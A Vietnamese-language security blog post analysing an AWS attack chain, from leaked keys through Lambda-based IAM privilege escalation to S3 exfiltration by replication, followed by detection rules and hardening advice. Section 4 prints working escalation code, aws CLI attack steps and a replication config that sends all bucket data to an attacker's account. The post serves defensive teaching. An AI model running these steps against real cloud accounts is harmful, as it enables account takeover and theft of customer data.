Skip to main content

Command Palette

Search for a command to run...

Phân Tích Kịch Bản Tấn Công Cloud & Khuyến Nghị Phòng Thủ

Published
15 min read

Phân tích chuyên sâu kịch bản tấn công AWS Cross-Account Privilege Escalationkết hợp với S3 Data Exfiltration— một trong những chuỗi tấn công phổ biến và nguy hiểm nhất trong môi trường Cloud hiện đại.

  • Phân loại:: Cloud Security Incident Analysis

  • MITRE ATT&CK:: IaaS | AWS

  • Mức độ:: CRITICAL

  • Framework:: MITRE ATT&CK for Cloud v14


01 — Executive Summary

Tổng quan mối đe dọa

Trong bối cảnh doanh nghiệp đẩy mạnh chuyển đổi số và di chuyển hạ tầng lên Cloud, các cuộc tấn công nhắm mục tiêu vào môi trường AWS, Azure, và GCP đang gia tăng mạnh mẽ về cả số lượng lẫn mức độ tinh vi. Báo cáo này phân tích một kịch bản thực tế điển hình: kẻ tấn công khai thác IAM misconfiguration để leo thang đặc quyền xuyên tài khoản, sau đó tiến hành đánh cắp dữ liệu quy mô lớn từ S3.

Kịch bản này không phải lý thuyết — nó phản ánh chính xác những gì đã xảy ra với Capital One (2019, 100M+ bản ghi), Twitch (2021), và hàng chục vụ vi phạm dữ liệu Cloud khác trong những năm gần đây.

Chỉ số Giá trị
Mức độ rủi ro CRITICAL
Thời gian tấn công 4–8 giờ
Kỹ thuật MITRE 12 TTPs
Véc-tơ ban đầu IAM + SSRF

[!NOTE] Điểm mấu chốt cần hiểu

Trong tấn công Cloud hiện đại,dữ liệu không bao giờ bị "hack" theo nghĩa phá vỡ mật mã — kẻ tấn công đơn giản là xác thực hợp lệvới API của nhà cung cấp Cloud bằng thông tin xác thực bị đánh cắp. Đây chính là lý do tại sao phòng thủ dựa hoàn toàn vào tường lửa mạng truyền thống sẽ thất bại hoàn toàn..


02 — Threat Actor & Context

Hồ sơ kẻ tấn công & bối cảnh

Mục tiêu giả định

Nạn nhân: Công ty fintech quy mô vừa (~500 nhân viên) đang vận hành trên AWS, sử dụng nhiều tài khoản AWS theo mô hình multi-account (Dev, Staging, Production, Data Lake). Dữ liệu nhạy cảm bao gồm: thông tin KYC khách hàng, lịch sử giao dịch, và tài liệu nội bộ.

Hồ sơ kẻ tấn công

Nhóm tấn công thuộc phân loại APT-for-hire / financially motivated — có năng lực kỹ thuật cao, am hiểu sâu về AWS internals, không gấp rút, sẵn sàng dành 2–4 tuần trinh sát trước khi ra tay. Họ không cần khai thác zero-day — IAM misconfiguration và exposed credentials là đủ.

Thuộc tính Mô tả Mức độ
Động cơ Tài chính — bán dữ liệu hoặc tống tiền Critical
Năng lực kỹ thuật Cao — thành thạo AWS CLI, Pacu, ScoutSuite High
Thời gian đầu tư 2–6 tuần từ trinh sát đến exfiltration High
Vết để lại Rất ít — dùng AWS API calls hợp lệ, không cài malware Critical

03 — Attack Kill Chain

Chuỗi tấn công chi tiết theo MITRE ATT&CK

Dưới đây là toàn bộ chuỗi tấn công được tái dựng từ góc nhìn của kẻ tấn công, ánh xạ với MITRE ATT&CK for Cloud framework. Mỗi bước đều dựa trên kỹ thuật đã được ghi nhận trong các vụ tấn công thực tế.

PHASE 01 — RECONNAISSANCE

T1591 / T1596

Thu thập thông tin từ nguồn công khai (OSINT)

Kẻ tấn công bắt đầu bằng việc quét GitHub/GitLab công khai để tìm AWS credentials bị commit nhầm. Sử dụng công cụ như truffleHog , gitleaks để quét toàn bộ lịch sử commit. Đồng thời scan các job posting của công ty để xác định stack công nghệ (AWS, Terraform, Python). LinkedIn mining để lập danh sách email nhân viên DevOps/Cloud.

PHASE 02 — INITIAL ACCESS

T1552.001 / T1078.004

Khai thác AWS Access Key bị lộ trong GitHub repository

Phát hiện một commit cũ (6 tháng trước) trong repo private bị public nhầm chứa hardcoded AWS credentials của developer account. Key này chưa bị rotate vì developer không hay biết. Kẻ tấn công xác nhận key còn hiệu lực qua aws sts get-caller-identity . Account này là IAM user với quyền Developer trong môi trường Staging.

PHASE 03 — DISCOVERY

T1526 / T1580

Liệt kê hạ tầng và lập bản đồ môi trường AWS

Sử dụng aws iam list-roles , aws iam list-policies để lập danh sách toàn bộ IAM roles. Chạy ScoutSuite để audit toàn bộ cấu hình, phát hiện S3 buckets, EC2 instances, Lambda functions. Phát hiện một IAM role có policy iam:PassRole và sts:AssumeRole quá rộng. Xác định cấu trúc multi-account và trust relationships giữa các AWS accounts.

PHASE 04 — PRIVILEGE ESCALATION

T1548 / T1078.004

Leo thang đặc quyền qua IAM misconfiguration

Phát hiện Lambda execution role có permission iam:AttachUserPolicy và iam:CreatePolicy . Kẻ tấn công tạo Lambda function mới, invoke nó để gắn policy AdministratorAccess vào IAM user của mình. Sau khi có quyền Admin trong Staging, tìm thấy cross-account trust policy cho phép assume role sang Production account. Trong vòng 45 phút, kẻ tấn công đã có AdministratorAccess vào Production AWS account.

PHASE 05 — DEFENSE EVASION

T1562.008 / T1070

Vô hiệu hóa giám sát và xóa dấu vết

Dừng CloudTrail logging tạm thời, xóa EventBridge rules có liên quan đến alerting. Tạo IAM user phụ với tên ngẫu nhiên trông như service account hợp lệ — đây là backdoor. Tạo Access Key mới cho backdoor account. Bật lại CloudTrail để tránh alert "CloudTrail stopped". Toàn bộ thao tác thực hiện từ IP thuộc dải của một cloud provider khác (để trông như AWS-to-AWS traffic).

PHASE 06 — LATERAL MOVEMENT

T1550.001 / T1021.007

Di chuyển sang Data Lake account và khám phá tài sản

Assume role sang Data Lake AWS account qua trust relationship. Liệt kê toàn bộ S3 buckets: phát hiện bucket prod-customer-data-lake chứa 47GB dữ liệu KYC không được mã hóa ở server-side (SSE bị tắt để "tối ưu performance"). Phát hiện Glue Data Catalog với schema toàn bộ bảng dữ liệu. Truy cập RDS snapshot được share cross-account — lấy được dump database production.

PHASE 07 — EXFILTRATION

T1537 / T1530

Đánh cắp dữ liệu qua S3 Replication sang tài khoản attacker

Thay vì download trực tiếp (sẽ để lại data transfer log bất thường), kẻ tấn công bật S3 Cross-Region Replication sang một bucket trong AWS account của họ — dữ liệu tự động copy sang mà không tạo GetObject API calls lớn. Đồng thời sử dụng aws s3 sync từ EC2 instance bên trong VPC (để traffic trông như internal). 47GB dữ liệu được exfiltrate trong ~3 giờ mà không trigger bất kỳ cost anomaly alert nào.

Timeline tấn công thực tế

  • T+0h — AWS credentials được xác nhận hợp lệ Kẻ tấn công gọists:GetCallerIdentity— không alert nào được trigger

  • T+0.5h — Discovery & enumeration hoàn tất ScoutSuite report được tạo, phát hiện IAM misconfiguration quan trọng

  • T+1.5h — Privilege escalation thành công — AdministratorAccess đạt được Lambda-based privilege escalation — không cần exploit, chỉ dùng IAM API calls hợp lệ

  • T+2h — Backdoor IAM user được tạo, CloudTrail bị manipulate Defense evasion hoàn tất — team SOC vẫn chưa có alert nào

  • T+3h — Production & Data Lake account bị xâm nhập hoàn toàn Cross-account role assumption thành công, toàn bộ dữ liệu được lập bản đồ

  • T+6h — 47GB dữ liệu khách hàng được exfiltrate hoàn toàn S3 Replication hoàn tất. Phát hiện đầu tiên chỉ xảy ra T+72h sau, khi AWS gửi cost alert


04 — Technical Deep Dive

Kỹ thuật tấn công — Phân tích chi tiết

4.1 — Lambda-based Privilege Escalation

Đây là một trong những kỹ thuật leo thang đặc quyền phổ biến nhất trên AWS, hoạt động khi IAM user có quyền lambda:CreateFunction , lambda:InvokeFunction , và iam:PassRole .

ATTACK TECHNIQUE: T1548 — Abuse Elevation Control Mechanism

# Attacker uploads this as Lambda function code
# Lambda execution role has iam:AttachUserPolicy permission

import boto3

def lambda_handler(event, context):
    iam = boto3.client('iam')
    
    # Gắn AdministratorAccess vào IAM user của attacker
    iam.attach_user_policy(
        UserName='dev-user-compromised',  # username của attacker
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )
    
    return {'status': 'escalation_complete'}

ATTACK STEPS — Thực thi từ attacker's machine

# Bước 1: Tạo Lambda function với role bị misconfigure
aws lambda create-function \
    --function-name legitimate-looking-util \
    --runtime python3.11 \
    --role arn:aws:iam::123456789:role/LambdaExecutionRole-Misconfigured \
    --handler payload.lambda_handler \
    --zip-file fileb://payload.zip

# Bước 2: Invoke Lambda — policy được attach cho attacker's user
aws lambda invoke \
    --function-name legitimate-looking-util \
    --payload '{"action": "escalate"}' \
    output.json

# Bước 3: Xác nhận đã có AdministratorAccess
aws iam list-attached-user-policies \
    --user-name dev-user-compromised

# Bước 4: Cross-account assume role sang Production
aws sts assume-role \
    --role-arn arn:aws:iam::999888777:role/CrossAccountAdminRole \
    --role-session-name legitimate-session-name

[!NOTE] Tại sao kỹ thuật này nguy hiểm?

Toàn bộ các API calls trên đều là hợp lệ về mặt kỹ thuật. CloudTrail sẽ ghi lại nhưng không tự động alert. Không có malware, không có exploit — chỉ là IAM API. Đây chính xác là lý do tại sao"detect by signature"không hoạt động trong Cloud environments..

4.2 — Silent S3 Exfiltration via Cross-Region Replication

Thay vì download trực tiếp (tạo ra GetObject calls với volume bất thường), kẻ tấn công cấu hình S3 Replication — AWS sẽ tự động copy toàn bộ dữ liệu sang bucket của attacker mà không tạo ra bất kỳ bất thường nào trong cost hoặc bandwidth metrics thông thường.

ATTACK TECHNIQUE: T1537 — Transfer Data to Cloud Account

{
  "Role": "arn:aws:iam::123456789:role/s3-replication-role",
  "Rules": [{
    "Status": "Enabled",
    "Filter": {"Prefix": ""},  // Replicates EVERYTHING
    "Destination": {
      "Bucket": "arn:aws:s3:::attacker-exfil-bucket-us-east-1",
      "Account": "444333222111"  // Attacker's AWS account
    }
  }]
}

05 — Impact Assessment

Đánh giá tác động

Lĩnh vực tác động Mô tả cụ thể Mức độ
Dữ liệu khách hàng 100,000+ bản ghi KYC bị lộ: họ tên, CMND/Hộ chiếu, địa chỉ, số tài khoản Critical
Tuân thủ pháp lý Vi phạm GDPR, PDPA, Thông tư 09/2020 NHNN — nguy cơ phạt 2-4% doanh thu toàn cầu Critical
Danh tiếng thương hiệu Mất tin tưởng từ khách hàng, đối tác và nhà đầu tư — thiệt hại dài hạn Critical
Tài chính trực tiếp Chi phí incident response, forensics, thông báo vi phạm dữ liệu: ~$500K–$2M High
Gián đoạn hoạt động Freeze toàn bộ môi trường AWS để điều tra: downtime 24–72 giờ High
Bí mật kinh doanh Source code, chiến lược sản phẩm, thông tin đối tác bị lộ qua RDS dump Medium

06 — Detection Engineering

Quy tắc phát hiện tấn công

Dưới đây là các detection rules được thiết kế để phát hiện từng giai đoạn của cuộc tấn công, sử dụng AWS CloudTrail logs với SIEM (Splunk/Elastic/Chronicle).

RULE-001: Lambda Privilege Escalation via IAM Policy Attachment

TACTIC: PrivEsc | T1548

// Splunk SPL Query
index=cloudtrail eventSource=lambda.amazonaws.com
    (eventName=CreateFunction OR eventName=InvokeFunction)
| join userIdentity.arn [
    search index=cloudtrail eventSource=iam.amazonaws.com
    eventName=AttachUserPolicy
    requestParameters.policyArn="*AdministratorAccess*"
]
| where _time > relative_time(now(), "-1h")
| alert severity=CRITICAL
RULE-002: Cross-Account Role Assumption from Unexpected Source

TACTIC: Lateral Movement | T1550.001

// AWS CloudWatch Metric Filter + Alarm
{
  "filterPattern": "{ ($.eventName = AssumeRole) &&
    ($.userIdentity.type = IAMUser) &&
    ($.requestParameters.roleArn = *PROD-ACCOUNT-ID*) &&
    ($.userIdentity.accountId != *TRUSTED-ACCOUNT-ID*) }",
  "metricName": "UnauthorizedCrossAccountAssumeRole",
  "threshold": 1,
  "alarmAction": "SNS:SecurityAlerts"
}
RULE-003: S3 Replication to External Account — Data Exfiltration Signal

TACTIC: Exfiltration | T1537

// EventBridge Rule + Lambda Remediation
{
  "source": ["aws.s3"],
  "detail-type": ["AWS API Call via CloudTrail"],
  "detail": {
    "eventName": ["PutBucketReplication"],
    "requestParameters": {
      "replicationConfiguration": {
        "rule": {
          "destination": {
            "account": [{ "anything-but": ["TRUSTED-ACCOUNT-1", "TRUSTED-ACCOUNT-2"] }]
          }
        }
      }
    }
  }
}
// → Trigger Lambda to: delete replication config + suspend IAM user + page SOC
RULE-004: CloudTrail Stopped or Deleted — Defense Evasion

TACTIC: Defense Evasion | T1562.008

// AWS Config Rule (managed): cloudtrail-enabled
// Custom CloudWatch Alert on CloudTrail API calls:
{
  "filterPattern": "{ ($.eventName = StopLogging) ||
    ($.eventName = DeleteTrail) ||
    ($.eventName = UpdateTrail) ||
    ($.eventName = PutEventSelectors) }",
  "threshold": 1,
  "alarmAction": "IMMEDIATE_PAGE_TO_ONCALL",
  "evaluationPeriods": 1,
  "period": 60
}

07 — Defense Recommendations

Khuyến nghị phòng thủ toàn diện

Phòng thủ hiệu quả chống lại kịch bản tấn công này đòi hỏi cách tiếp cận Defense in Depth — nhiều lớp kiểm soát độc lập, không phụ thuộc vào bất kỳ lớp đơn nào.

IAM Hardening (Ưu tiên #1)

  • Áp dụng nguyên tắc Least Privilege — không một IAM user nào có quyền AdministratorAccess trong production

  • Bật AWS IAM Access Analyzer để phát hiện over-permissive policies tự động

  • Chặn iam:PassRole , iam:AttachUserPolicy , iam:CreatePolicyVersion trừ khi thực sự cần thiết

  • Dùng IAM Permission Boundaries để giới hạn tối đa quyền mà role có thể cấp lại cho người khác

  • Enforce MFA cho mọi IAM action có tác động cao qua Condition trong policy

  • Rotate Access Keys tự động mỗi 90 ngày — sử dụng AWS Secrets Manager

Network & Perimeter Controls

  • Không bao giờ expose metadata endpoint IMDSv1 — bắt buộc IMDSv2 trên toàn bộ EC2

  • Sử dụng AWS PrivateLink cho internal service communication — không đi qua internet

  • Triển khai VPC Endpoint cho S3, KMS, SSM — API calls không ra internet

  • Áp dụng S3 Block Public Access ở cấp Organization (AWS Organizations SCP)

  • WAF rules chặn SSRF patterns trước khi reach EC2 metadata service

Detection & Monitoring

  • Bật AWS GuardDuty ở tất cả regions và tất cả accounts trong Organization — không tốn công cấu hình

  • Tích hợp CloudTrail → SIEM với retention tối thiểu 1 năm

  • Tạo baseline cho IAM activity — alert khi deviation từ normal behavior

  • AWS Security Hub để aggregate findings từ GuardDuty, Inspector, Config, Macie

  • Enable S3 Server Access Logging và S3 Data Events in CloudTrail

  • Alert ngay lập tức khi có AssumeRole từ tài khoản không nằm trong whitelist

Data Protection

  • Mã hóa tất cả S3 buckets với SSE-KMS (không phải SSE-S3) — kiểm soát key access qua KMS policy

  • Bật AWS Macie để tự động phát hiện sensitive data (PII, credentials) trong S3

  • Cấu hình S3 Object Lock cho compliance data — ngăn xóa hoặc override

  • Implement S3 Replication deny policy — chỉ allow replication đến trusted accounts

  • Sử dụng KMS Key Policy để từ chối decrypt requests từ ngoài VPC

DevSecOps & Secrets Management

  • Tích hợp git-secrets hoặc pre-commit hooks — chặn commit credentials vào Git từ đầu

  • Quét toàn bộ lịch sử Git với truffleHog ngay hôm nay

  • Thay thế hardcoded credentials bằng IAM Roles cho EC2/Lambda/ECS — không bao giờ dùng Access Key trên infrastructure

  • AWS Secrets Manager với automatic rotation cho database passwords, API keys

  • Scan IaC (Terraform/CloudFormation) với Checkov hoặc tfsec trong CI/CD pipeline

  • Developer training về Cloud Security — nhận thức là lớp phòng thủ đầu tiên

Incident Response Readiness

  • Xây dựng Cloud IR Playbook riêng cho AWS — khác hoàn toàn với on-prem IR

  • Chuẩn bị Break-glass account với quyền tối thiểu để respond khi tài khoản chính bị compromise

  • Thực hành GameDay / Purple Team exercises ít nhất mỗi quý

  • Có sẵn AWS Support Enterprise với AWS Security Incident Response team contact

  • Lập danh sách tất cả IAM users, roles, keys cần revoke ngay khi phát hiện incident


08 — Implementation Roadmap

Lộ trình triển khai theo thứ tự ưu tiên

Không phải tất cả các khuyến nghị đều cần triển khai cùng lúc. Dưới đây là thứ tự ưu tiên dựa trên tỷ lệ risk reduction / implementation effort — triển khai những gì giảm rủi ro nhiều nhất trước.

  • ✅ Bật AWS GuardDuty — Nỗ lực: Thấp

  • ✅ Enable CloudTrail + SIEM — Nỗ lực: Thấp

  • ✅ Scan Git repos (truffleHog) — Nỗ lực: Thấp

  • ✅ Bắt buộc IMDSv2 toàn bộ EC2 — Nỗ lực: Thấp

  • ⚙ IAM least privilege audit — Nỗ lực: Trung bình

  • ⚙ Encrypt S3 với SSE-KMS — Nỗ lực: Trung bình

  • ⚙ AWS Macie cho sensitive data discovery — Nỗ lực: Trung bình

  • 🔧 Triển khai IAM Permission Boundaries — Nỗ lực: Cao

  • 🔧 Migrate sang IAM Roles — loại bỏ Access Keys — Nỗ lực: Cao

  • 🔧 Cloud IR Playbook + Purple Team — Nỗ lực: Cao

[!NOTE] Quick Wins — Triển khai trong 48 giờ đầu tiên

3 hành động có thể thực hiện ngay hôm nay với zero downtime và chi phí tối thiểu: (1) Bật GuardDuty ở tất cả regions, (2) Chạy truffleHog scan toàn bộ Git repos, (3) Enable IMDSv2 mandatory qua EC2 Instance Metadata Service configuration. Ba bước này sẽ ngăn chặn hoặc phát hiện sớm phần lớn các vector tấn công đã mô tả..

[!NOTE] Tài nguyên tham khảo quan trọng

AWS Security Best Practices:docs.aws.amazon.com/security —MITRE ATT&CK for Cloud:attack.mitre.org/matrices/enterprise/cloud —Rhino Security Labs AWS PrivEsc:github.com/RhinoSecurityLabs/pacu —CloudSplaining (IAM auditor):github.com/salesforce/cloudsplaining —AWS Well-Architected Security Pillar:aws.amazon.com/architecture/well-architected.


Phân tích dựa trên kỹ thuật tấn công đã ghi nhận thực tế — Capital One 2019, Twitch 2021, các vụ AWS IAM PrivEsc

More from this blog

F

FPT IS Security

726 posts

Dedicated to providing insightful articles on cybersecurity threat intelligence, aimed at empowering individuals and organizations to navigate the digital landscape safely.